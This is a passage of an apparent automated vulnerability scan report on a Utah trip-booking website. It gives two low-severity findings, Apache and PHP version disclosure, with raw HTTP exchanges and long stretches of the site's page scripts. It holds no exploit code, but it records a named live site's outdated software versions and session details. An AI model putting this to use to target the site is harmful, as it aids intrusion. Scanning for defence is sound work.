document.getElementById('dd_pricerange').style.display='none'; } } </script> <script type="text/javascript"> //for sliding div var timerlen = 3; var slideAniLen = 500; var timerID = new Array(); var startTime = new Array(); var obj = new Array(); var endHeight = new Array(); var moving = new Array(); var dir = new Array(); function slidedown(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display != "none") return; // cannot slide down something that is already visible moving[objname] = true; dir[objname] = "down"; startslide(objname); } function slideup(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display == "none") return; // cannot slide up something that is already hidden moving[objname] = true; dir[objname] = "up"; startslide(objname); } function startslide(objname){ obj[objname] = document.getElementById(objname); endHeight[objname] = parseInt(obj[objname].style.height); startTime[objname] = (new Date()).getTime(); if(dir[objname] == "down"){ obj[objname].style.height = "1px"; } obj[objname].style.display = "block"; timerID[objname] = setInterval('slidetick(\'' + objname + '\');',timerlen); } function slidetick(objname){ var elapsed = (new Date()).getTime() - startTime[objname]; if (elapsed > slideAniLen) endSlide(objname) else { var d =Math.round(elapsed / slideAniLen * endHeight[objname]); if(dir[objname] == "up") d = endHeight[objname] - d; obj[objname].style.height = d + "px"; } return; } function endSlide(objname){ clearInterval(timerID[objname]); if(dir[objname] == "up") obj[objname].style.display = "none"; obj[objname].style.height = endHeight[objname] + "px"; delete(moving[objname]); delete(timerID[objname]); delete(startTime[objname]); delete(endHeight[objname]); delete(obj[objname]); delete(dir[objname]); return; } //for dropdown function customselect_show (inputid) { document.getElementById(inputid + '_open').style.display = 'block'; } function customselect_hide (inputid) { document.getElementById(inputid + '_open').style.display = 'none'; } function customselect_select (inputid, label, value) { customselect_hide(inputid); document.getElementById(inputid + '_label').innerHTML = label; document.getElementById(inputid).value = value; } //for locations div function show_hide(){ if(document.getElementById('location_div').style.display == "none"){ document.getElementById('location_div').style.display = "block"; document.getElementById('map_location_div').style.display = "none"; if(document.getElementById('groups_form_div_height').value == "200px"){ document.getElementById('groups_form_div').style.height = "200px"; } else{ document.getElementById('groups_form_div').style.height = document.getElementById('groups_form_div_height').value; } } else{ document.getElementById('location_div').style.display = "none"; document.getElementById('map_location_div').style.display = "block"; document.getElementById('groups_form_div').style.height = "375px"; slidedown('groups_form_div'); } } function switch_me(show_me, hide_me){ document.getElementById(hide_me).style.display = "none"; document.getElementById(show_me).style.display = "block"; } var remove_break = 0; var ewd_loading_img = 'http://www.jackrabbitsystems.com/images/trip_images/activityanimation.gif';//set image path var ewd_loading_msg = 'Loading Data...';//set loading message var xmlhttp_obj = false; //create the XMLHttpRequest function ewd_xmlhttp(){ if (window.XMLHttpRequest){ // if Mozilla, Safari etc xmlhttp_obj = new XMLHttpRequest(); }else if (window.ActiveXObject){ // if IE try{ xmlhttp_obj = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e){ try{ xmlhttp_obj = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e){ } } }else{ xmlhttp_obj = false; } return xmlhttp_obj; } //get content via GET function ewd_getcontent(url, containerid, switch_split){ var xmlhttp_obj = ewd_xmlhttp(); if(containerid == 'category_display_span' || containerid == 'map_display_span'){ document.getElementById(containerid).innerHTML = '<br /><br /><br /><div style="width:800px; padding-top:20px; padding-bottom:20px; text-align:center;"><br />' + ewd_loading_msg + '<br /><br /><img src="' + ewd_loading_img + '" /></div><br /><br /><br />'; } xmlhttp_obj.onreadystatechange=function(){ ewd_loadpage(xmlhttp_obj, containerid, switch_split); } xmlhttp_obj.open('GET', url, true); xmlhttp_obj.send(null); } function ewd_loadpage(xmlhttp_obj, containerid, switch_split){ remove_break = remove_break + switch_split; if ( xmlhttp_obj.readyState == 4 && xmlhttp_obj.status == 200 ){ document.getElementById(containerid).innerHTML = xmlhttp_obj.responseText; } if(remove_break > 0){ if(document.getElementById('jrs_member_split') != null){ document.getElementById('jrs_member_split').style.display='none'; } } } var alpha_sort_order = 'asc'; function alpha_sort(){ if(alpha_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var price_sort_order = 'asc'; function price_sort(){ if(price_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var distance_sort_order = 'asc'; function distance_sort(){ if(distance_s..
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982

Extracted Version

Apache/2.2.3 (CentOS)

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:18:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0,private
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 44259
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; path=/,SERVERID=i-07d1a66e; path=/
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta http-equiv="description" name="description" content="Come Visit Park City, Utah - The Park City Trip Planner - fill out our free online survey and we will email you a FREE custom list of local service providers based on your survey answers."> <meta http-equiv="keywords" name="keywords" content="Park City, Utah, Trip Planner, vacation, Skiing, visit, hiking, golf, fishing, sightseeing, relaxation, museum, fine art, culture, retaurant, performing art, rafting, art market"> <title>Park City Info Hotel Search Engine</title> <link rel="stylesheet" type="text/css" href="http://www.prod.bookdirect.net/css/smoothness/jquery-ui-1.7.2.custom.css" /> <link rel="stylesheet" type="text/css" href="/css/parkcity_template.css" /> <script src="http://maps.google.com/maps?file=api&amp;v=2.109&amp;key=ABQIAAAAKZm_5hsUqOpv5DxPV4HooBROL83n-bgKgORxim6v55hn_ZaBnxSpV4rEbp2tOu1bjGh1t-gicIUDyw" type="text/javascript"></script> <script type='text/javascript' src='scripts/mapiconmaker.js'></script> <script type='text/javascript' src="scripts/jquery-1.3.2.js"></script> <script type='text/javascript' src="scripts/ui.core.js"></script> <script type='text/javascript' src="scripts/ui.datepickerN.js"></script> <script type='text/javascript' src='scripts/cal_scripts.js'></script> <script type='text/javascript' src='scripts/jquery.autocomplete.js'></script> <script type="text/javascript" src="scripts/jquery.qtip-1.0.0-rc3.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#start-date').datepicker({ minDate: 0, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_arrival }); $('#end-date').datepicker({ minDate: 1, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_departure }); }); //<![CDATA[ //start google maps var markerTargets = new Array(); var markerContent = new Array(); var markerIcons = new Array(); var side_bar_html = ""; var map; var container; var baseIcon; var map_eval = ''; var centerPoint = new GLatLng(40.66036,-111.509385); var myMapCenter = new GMarker(new GLatLng(40.66036,-111.509385), {title:"Map Center"}); function point_click(i){ markerTargets[i].openInfoWindowHtml(markerContent[i]); } function point_click_venue(i){ markerTargets[i].openInfoWindowHtml(markerContent[i],{maxWidth:460}); } function roll_over(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/icon_set_hover/icon_set_hover__'+markerIcons[i]+'.png'); } function roll_out(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/1/icon_set_1_'+markerIcons[i]+'.png'); } function load() { doLoad(); } function doLoad() { if (GBrowserIsCompatible()) { container = document.getElementById("map"); resizeMap(); map = new GMap2(container); //map.addControl(new GSmallMapControl()); //map.addControl(new GMapTypeControl()); map.setUIToDefault(); map.setCenter(centerPoint, 13); //center point map.addOverlay(myMapCenter); baseIcon = new GIcon(); baseIcon.shadow = "http://www.google.com/mapfiles/shadow50.png"; baseIcon.iconSize = new GSize(20, 34); baseIcon.shadowSize = new GSize(20, 34); baseIcon.iconAnchor = new GPoint(5, 32); baseIcon.infoWindowAnchor = new GPoint(10, 18); function createMarker(point, icon_number, desc, title){ //var icon = new GIcon(baseIcon); //icon.image = iconname; var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); //var marker = new GMarker(point, {icon:icon, title:title}); GEvent.addListener(marker, "click", function(){ marker.openInfoWindowHtml(desc); }); return marker; } } else{ alert("Sorry, the Google Maps API is not compatible with this browser"); } } function createMarker(point, icon_number, desc, title){ var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); return marker; } function makeMarker(point, icon_number, desc, title){ if(title.search("Venue")>0) var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#2462ff"}); else var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); GEvent.addListener(marker, "click", function(){ if(title.search("Venue")>0) marker.openInfoWindowHtml(unescape(desc),{maxWidth:460}); else marker.openInfoWindowHtml(unescape(desc)); }); map.addOverlay(marker); return marker; } function resizeMap() { container.style.width = '800px'; container.style.height = '500px'; if (map) { map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); } } function toggleMap(which_event) { map.setCenter(centerPoint, 13); map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); readMap(which_event); } // A function to read the data function readMap(which_event) { var url="v002/dbase/classes/map_marker_display.php"; var request = GXmlHttp.create(); request.open("GET", url, true); request.onreadystatechange = function() { if (request.readyState == 4) { var xmlDoc = request.responseXML; // obtain the array of markers and loop through it var markers = xmlDoc.documentElement.getElementsByTagName("marker"); // hide the info window, otherwise it still stays open where the removed marker used to be //map.getInfoWindow().hide(); map.clearOverlays(); // empty the array gmarkers = []; markerTargets = []; // reset the side_bar side_bar_html=""; map.addOverlay(myMapCenter); for (var i = 0; i < markers.length; i++) { // obtain the attribues of each marker var lat = parseFloat(markers[i].getAttribute("lat")); var lng = parseFloat(markers[i].getAttribute("lng")); var point = new GLatLng(lat,lng); var html = markers[i].getAttribute("html"); var label = markers[i].getAttribute("label"); var e_id = markers[i].getAttribute("e_id"); var map_count = markers[i].getAttribute("map_count"); // create the marker var marker = makeMarker(point, map_count, html, label); markerTargets[e_id] = marker; markerContent[e_id] = html; markerIcons[e_id] = map_count; /* var d = marker.getPoint().distanceFrom(myMapCenter.getPoint())/1609.344; var x = Math.round(d*10000000); var m = d.toFixed(2); var distance = m+'&nbsp;mi.'; if(document.getElementById('distance_'+map_count) != null){ document.getElementById('distance_'+map_count).innerHTML=distance; } */ } if(which_event != undefined){ if(typeof(which_event)=='string') point_click_venue(which_event); else point_click(which_event); } } } request.send(null); } //end google maps </script> <!--[if lte IE 7]> <style type="text/css">; .jrs_calimg{ top:2px; } #jrs_arrival_input{ padding-bottom:2px; margin-left:5px; } #jrs_departure_input{ padding-bottom:2px; margin-left:5px; } .ui-datepicker-trigger{ display:inline !important; border:none !important; position:relative; left:2px; top:5px; margin-bottom:0px !important; margin-top:-4px !important; } </style> <![endif]--> <style type="text/css"> .dd_header{ width:95px;height:14px;padding-left:5px;padding-top:5px;text-align:left;border:1px solid #1B5A90;overflow:hidden;line-height:10px;font-family:Arial, Helvetica, sans-serif;color:#1B5A90;font-size:11px;background:top right no-repeat url(/images/droparrow.jpg) #FFF; } .dd_list{ width:100px;background:url(/images/dropdown_trans.png);border:1px solid #CCC;padding-top:3px;position:absolute;font-family:Arial, Helvetica, sans-serif;font-size:10px;line-height:13px;display:none; } .dd_list_item{ padding-top:4px;padding-left:4px;padding-bottom:4px;border-top:1px solid #999; } .dd_list_item:hover{ background:#CCC; } </style> <!--[if IE]> <style type="text/css"> .dd_header{ height:22px; } </style> <![endif]--> <script type="text/javascript"> var sortcount = 0; function hide_dropdowns(){ if(sortcount<1){ document.getElementById('dd_sort').style.display='none'; document.getElementById('dd_amenities').style.display='none'; document.getElementById('dd_type').style.display='none'; document.getElementById('dd_pricerange').style.display='none'; } } </script> <script type="text/javascript"> //for sliding div var timerlen = 3; var slideAniLen = 500; var timerID = new Array(); var startTime = new Array(); var obj = new Array(); var endHeight = new Array(); var moving = new Array(); var dir = new Array(); function slidedown(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display != "none") return; // cannot slide down something that is already visible moving[objname] = true; dir[objname] = "down"; startslide(objname); } function slideup(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display == "none") return; // cannot slide up something that is already hidden moving[objname] = true; dir[objname] = "up"; startslide(objname); } function startslide(objname){ obj[objname] = document.getElementById(objname); endHeight[objname] = parseInt(obj[objname].style.height); startTime[objname] = (new Date()).getTime(); if(dir[objname] == "down"){ obj[objname].style.height = "1px"; } obj[objname].style.display = "block"; timerID[objname] = setInterval('slidetick(\'' + objname + '\');',timerlen); } function slidetick(objname){ var elapsed = (new Date()).getTime() - startTime[objname]; if (elapsed > slideAniLen) endSlide(objname) else { var d =Math.round(elapsed / slideAniLen * endHeight[objname]); if(dir[objname] == "up") d = endHeight[objname] - d; obj[objname].style.height = d + "px"; } return; } function endSlide(objname){ clearInterval(timerID[objname]); if(dir[objname] == "up") obj[objname].style.display = "none"; obj[objname].style.height = endHeight[objname] + "px"; delete(moving[objname]); delete(timerID[objname]); delete(startTime[objname]); delete(endHeight[objname]); delete(obj[objname]); delete(dir[objname]); return; } //for dropdown function customselect_show (inputid) { document.getElementById(inputid + '_open').style.display = 'block'; } function customselect_hide (inputid) { document.getElementById(inputid + '_open').style.display = 'none'; } function customselect_select (inputid, label, value) { customselect_hide(inputid); document.getElementById(inputid + '_label').innerHTML = label; document.getElementById(inputid).value = value; } //for locations div function show_hide(){ if(document.getElementById('location_div').style.display == "none"){ document.getElementById('location_div').style.display = "block"; document.getElementById('map_location_div').style.display = "none"; if(document.getElementById('groups_form_div_height').value == "200px"){ document.getElementById('groups_form_div').style.height = "200px"; } else{ document.getElementById('groups_form_div').style.height = document.getElementById('groups_form_div_height').value; } } else{ document.getElementById('location_div').style.display = "none"; document.getElementById('map_location_div').style.display = "block"; document.getElementById('groups_form_div').style.height = "375px"; slidedown('groups_form_div'); } } function switch_me(show_me, hide_me){ document.getElementById(hide_me).style.display = "none"; document.getElementById(show_me).style.display = "block"; } var remove_break = 0; var ewd_loading_img = 'http://www.jackrabbitsystems.com/images/trip_images/activityanimation.gif';//set image path var ewd_loading_msg = 'Loading Data...';//set loading message var xmlhttp_obj = false; //create the XMLHttpRequest function ewd_xmlhttp(){ if (window.XMLHttpRequest){ // if Mozilla, Safari etc xmlhttp_obj = new XMLHttpRequest(); }else if (window.ActiveXObject){ // if IE try{ xmlhttp_obj = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e){ try{ xmlhttp_obj = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e){ } } }else{ xmlhttp_obj = false; } return xmlhttp_obj; } //get content via GET function ewd_getcontent(url, containerid, switch_split){ var xmlhttp_obj = ewd_xmlhttp(); if(containerid == 'category_display_span' || containerid == 'map_display_span'){ document.getElementById(containerid).innerHTML = '<br /><br /><br /><div style="width:800px; padding-top:20px; padding-bottom:20px; text-align:center;"><br />' + ewd_loading_msg + '<br /><br /><img src="' + ewd_loading_img + '" /></div><br /><br /><br />'; } xmlhttp_obj.onreadystatechange=function(){ ewd_loadpage(xmlhttp_obj, containerid, switch_split); } xmlhttp_obj.open('GET', url, true); xmlhttp_obj.send(null); } function ewd_loadpage(xmlhttp_obj, containerid, switch_split){ remove_break = remove_break + switch_split; if ( xmlhttp_obj.readyState == 4 && xmlhttp_obj.status == 200 ){ document.getElementById(containerid).innerHTML = xmlhttp_obj.responseText; } if(remove_break > 0){ if(document.getElementById('jrs_member_split') != null){ document.getElementById('jrs_member_split').style.display='none'; } } } var alpha_sort_order = 'asc'; function alpha_sort(){ if(alpha_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&order=' + alpha_sort_order + '&price_order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); alpha_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var price_sort_order = 'asc'; function price_sort(){ if(price_sort_order == 'asc'){ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'desc'; } else{ ewd_getcontent('v002/dbase/classes/category_display.php?page_num=1&price_order='+ price_sort_order +'&order=none&distance_order=none', 'category_display_span', 1); reset_page_counts(); price_sort_order = 'asc'; } ewd_getcontent('v002/dbase/classes/map_display.php', 'map_display_span', 1); readMap(); } var distance_sort_order = 'asc'; function distance_sort(){ if(distance_s..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /booking_results.php

/booking_results.php

http://parkcitytrips.com/booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982

Extracted Version

PHP/5.2.4

Request

GET /booking_results.php?cloneID=41&rooms=1&nights=1&group_id=982 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: parkcitytrips.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Wed, 09 Feb 2011 22:18:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0,private
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 44259
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=rtbf9mia87rdbeie5r94s1lge3; path=/,SERVERID=i-07d1a66e; path=/
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta http-equiv="description" name="description" content="Come Visit Park City, Utah - The Park City Trip Planner - fill out our free online survey and we will email you a FREE custom list of local service providers based on your survey answers."> <meta http-equiv="keywords" name="keywords" content="Park City, Utah, Trip Planner, vacation, Skiing, visit, hiking, golf, fishing, sightseeing, relaxation, museum, fine art, culture, retaurant, performing art, rafting, art market"> <title>Park City Info Hotel Search Engine</title> <link rel="stylesheet" type="text/css" href="http://www.prod.bookdirect.net/css/smoothness/jquery-ui-1.7.2.custom.css" /> <link rel="stylesheet" type="text/css" href="/css/parkcity_template.css" /> <script src="http://maps.google.com/maps?file=api&amp;v=2.109&amp;key=ABQIAAAAKZm_5hsUqOpv5DxPV4HooBROL83n-bgKgORxim6v55hn_ZaBnxSpV4rEbp2tOu1bjGh1t-gicIUDyw" type="text/javascript"></script> <script type='text/javascript' src='scripts/mapiconmaker.js'></script> <script type='text/javascript' src="scripts/jquery-1.3.2.js"></script> <script type='text/javascript' src="scripts/ui.core.js"></script> <script type='text/javascript' src="scripts/ui.datepickerN.js"></script> <script type='text/javascript' src='scripts/cal_scripts.js'></script> <script type='text/javascript' src='scripts/jquery.autocomplete.js'></script> <script type="text/javascript" src="scripts/jquery.qtip-1.0.0-rc3.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#start-date').datepicker({ minDate: 0, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_arrival }); $('#end-date').datepicker({ minDate: 1, maxDate: '+1Y', hideglitched: false, showOn: 'focus', buttonImage: '', numberOfMonths: 2, buttonImageOnly: true, onSelect: set_departure }); }); //<![CDATA[ //start google maps var markerTargets = new Array(); var markerContent = new Array(); var markerIcons = new Array(); var side_bar_html = ""; var map; var container; var baseIcon; var map_eval = ''; var centerPoint = new GLatLng(40.66036,-111.509385); var myMapCenter = new GMarker(new GLatLng(40.66036,-111.509385), {title:"Map Center"}); function point_click(i){ markerTargets[i].openInfoWindowHtml(markerContent[i]); } function point_click_venue(i){ markerTargets[i].openInfoWindowHtml(markerContent[i],{maxWidth:460}); } function roll_over(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/icon_set_hover/icon_set_hover__'+markerIcons[i]+'.png'); } function roll_out(i){ markerTargets[i].setImage('http://parkcitytrips.com/images/map_images/1/icon_set_1_'+markerIcons[i]+'.png'); } function load() { doLoad(); } function doLoad() { if (GBrowserIsCompatible()) { container = document.getElementById("map"); resizeMap(); map = new GMap2(container); //map.addControl(new GSmallMapControl()); //map.addControl(new GMapTypeControl()); map.setUIToDefault(); map.setCenter(centerPoint, 13); //center point map.addOverlay(myMapCenter); baseIcon = new GIcon(); baseIcon.shadow = "http://www.google.com/mapfiles/shadow50.png"; baseIcon.iconSize = new GSize(20, 34); baseIcon.shadowSize = new GSize(20, 34); baseIcon.iconAnchor = new GPoint(5, 32); baseIcon.infoWindowAnchor = new GPoint(10, 18); function createMarker(point, icon_number, desc, title){ //var icon = new GIcon(baseIcon); //icon.image = iconname; var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); //var marker = new GMarker(point, {icon:icon, title:title}); GEvent.addListener(marker, "click", function(){ marker.openInfoWindowHtml(desc); }); return marker; } } else{ alert("Sorry, the Google Maps API is not compatible with this browser"); } } function createMarker(point, icon_number, desc, title){ var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); return marker; } function makeMarker(point, icon_number, desc, title){ if(title.search("Venue")>0) var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#2462ff"}); else var new_icon = MapIconMaker.createLabeledMarkerIcon({label: icon_number, primaryColor: "#ecc329"}); var marker = new GMarker(point, {icon:new_icon, title:title}); GEvent.addListener(marker, "click", function(){ if(title.search("Venue")>0) marker.openInfoWindowHtml(unescape(desc),{maxWidth:460}); else marker.openInfoWindowHtml(unescape(desc)); }); map.addOverlay(marker); return marker; } function resizeMap() { container.style.width = '800px'; container.style.height = '500px'; if (map) { map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); } } function toggleMap(which_event) { map.setCenter(centerPoint, 13); map.checkResize(); //Thumbnail map var Tsize = new GSize(150, 150); map.addControl(new GOverviewMapControl(Tsize)); map.setCenter(centerPoint, 13); readMap(which_event); } // A function to read the data function readMap(which_event) { var url="v002/dbase/classes/map_marker_display.php"; var request = GXmlHttp.create(); request.open("GET", url, true); request.onreadystatechange = function() { if (request.readyState == 4) { var xmlDoc = request.responseXML; // obtain the array of markers and loop through it var markers = xmlDoc.documentElement.getElementsByTagName("marker"); // hide the info window, otherwise it still stays open where the removed marker used to be //map.getInfoWindow().hide(); map.clearOverlays(); // empty the array gmarkers = []; markerTargets = []; // reset the side_bar side_bar_html=""; map.addOverlay(myMapCenter); for (var i = 0; i < markers.length; i++) { // obtain the attribues of each marker var lat = parseFloat(markers[i].getAttribute("lat")); var lng = parseFloat(markers[i].getAttribute("lng")); var point = new GLatLng(lat,lng); var html = markers[i].getAttribute("html"); var label = markers[i].getAttribute("label"); var e_id = markers[i].getAttribute("e_id"); var map_count = markers[i].getAttribute("map_count"); // create the marker var marker = makeMarker(point, map_count, html, label); markerTargets[e_id] = marker; markerContent[e_id] = html; markerIcons[e_id] = map_count; /* var d = marker.getPoint().distanceFrom(myMapCenter.getPoint())/1609.344; var x = Math.round(d*10000000); var m = d.toFixed(2); var distance = m+'&nbsp;mi.'; if(document.getElementById('distance_'+map_count) != null){ document.getElementById('distance_'+map_count).innerHTML=distance; } */ } if(which_event != undefined){ if(typeof(which_event)=='string') point_click_venue(which_event); else point_click(which_event); } } } request.send(null); } //end google maps </script> <!--[if lte IE 7]> <style type="text/css">; .jrs_calimg{ top:2px; } #jrs_arrival_input{ padding-bottom:2px; margin-left:5px; } #jrs_departure_input{ padding-bottom:2px; margin-left:5px; } .ui-datepicker-trigger{ display:inline !important; border:none !important; position:relative; left:2px; top:5px; margin-bottom:0px !important; margin-top:-4px !important; } </style> <![endif]--> <style type="text/css"> .dd_header{ width:95px;height:14px;padding-left:5px;padding-top:5px;text-align:left;border:1px solid #1B5A90;overflow:hidden;line-height:10px;font-family:Arial, Helvetica, sans-serif;color:#1B5A90;font-size:11px;background:top right no-repeat url(/images/droparrow.jpg) #FFF; } .dd_list{ width:100px;background:url(/images/dropdown_trans.png);border:1px solid #CCC;padding-top:3px;position:absolute;font-family:Arial, Helvetica, sans-serif;font-size:10px;line-height:13px;display:none; } .dd_list_item{ padding-top:4px;padding-left:4px;padding-bottom:4px;border-top:1px solid #999; } .dd_list_item:hover{ background:#CCC; } </style> <!--[if IE]> <style type="text/css"> .dd_header{ height:22px; } </style> <![endif]--> <script type="text/javascript"> var sortcount = 0; function hide_dropdowns(){ if(sortcount<1){ document.getElementById('dd_sort').style.display='none'; document.getElementById('dd_amenities').style.display='none'; document.getElementById('dd_type').style.display='none'; document.getElementById('dd_pricerange').style.display='none'; } } </script> <script type="text/javascript"> //for sliding div var timerlen = 3; var slideAniLen = 500; var timerID = new Array(); var startTime = new Array(); var obj = new Array(); var endHeight = new Array(); var moving = new Array(); var dir = new Array(); function slidedown(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display != "none") return; // cannot slide down something that is already visible moving[objname] = true; dir[objname] = "down"; startslide(objname); } function slideup(objname){ if(moving[objname]) return; if(document.getElementById(objname).style.display == "none") return; // cannot slide up something that is already hidden moving[objname] = true; dir[objname] = "up"; startslide(objname); } function startslide(objname){ obj[objname] = document.getElementById(objname); endHeight[objname] = parseInt(obj[objname].style.height); startTime[objname] = (new Date()).getTime(); if(dir[objname] == "down"){ obj[objname].style.height = "1px"; } obj[objname].style.display = "block"; timerID[objname] = setInterval('slidetick(\'' + objname + '\');',timerlen); } function slidetick(objname){ var elapsed = (new Date()).getTime() - startTime[objname]; if (elapsed > slideAniLen) endSlide(objname) else { var d =Math.round(elapsed / slideAniLen * endHeight[objname]); if(dir[objname] == "up") d = endHeight[objname] - d; obj[objname].style.height = d + "px"; } return; } function endSlide(objname){ clearInterval(timerID[objname]); if(dir[objname] == "up") obj[objname].style.display = "none"; obj[objname].style.height = endHeight[objname] + "px"; delete(moving[objname]); delete(timerID[objname]); delete(startTime[objname]); delete(endHeight[objname]); delete(obj[objname]); delete(dir[objname]); return; } //for dropdown function customselect_show (inputid) { document.getElementById(inputid + '_open').style.display = 'block'; } function customselect_hide (inputid) { document.getElementById(inputid + '_open').style.display = 'none'; } function customselect_select (inputid, label, value) { customselect_hide(inputid); document.getElementById(inputid + '_label').innerHTML = label; document.getElementById(inputid).value = value; } //for locations div function show_hide(){ if(document.getElementById('location_div').style.display == "none"){ document.getElementById('location_div').style.display = "block"; document.getElementById('map_location_div').style.display = "none"; if(document.getElementById('groups_form_div_height').value == "200px"){ document.getElementById('groups_form_div').style.height = "200px"; } else{ document.getElementById('groups_form_div').style.height = document.getElementById('groups_form_div_height').value; } } else{ document.getElementById('location_div').style.display = "none"; document.getElementById('map_location_div').style.display = "block"; document.getElementById('groups_form_div').style.height = "375px"; slidedown('groups_form_div'); } } function switch_me(show_me, hide_me){ document.getElementById(hide_me).style.display = "none"; document.getElementById(show_me).style.display = "block"; } var remove_break = 0; var ewd_loading_img = 'http://www.jackrabbitsystems.com/images/trip_images/activityanimation.gif';//set image path var 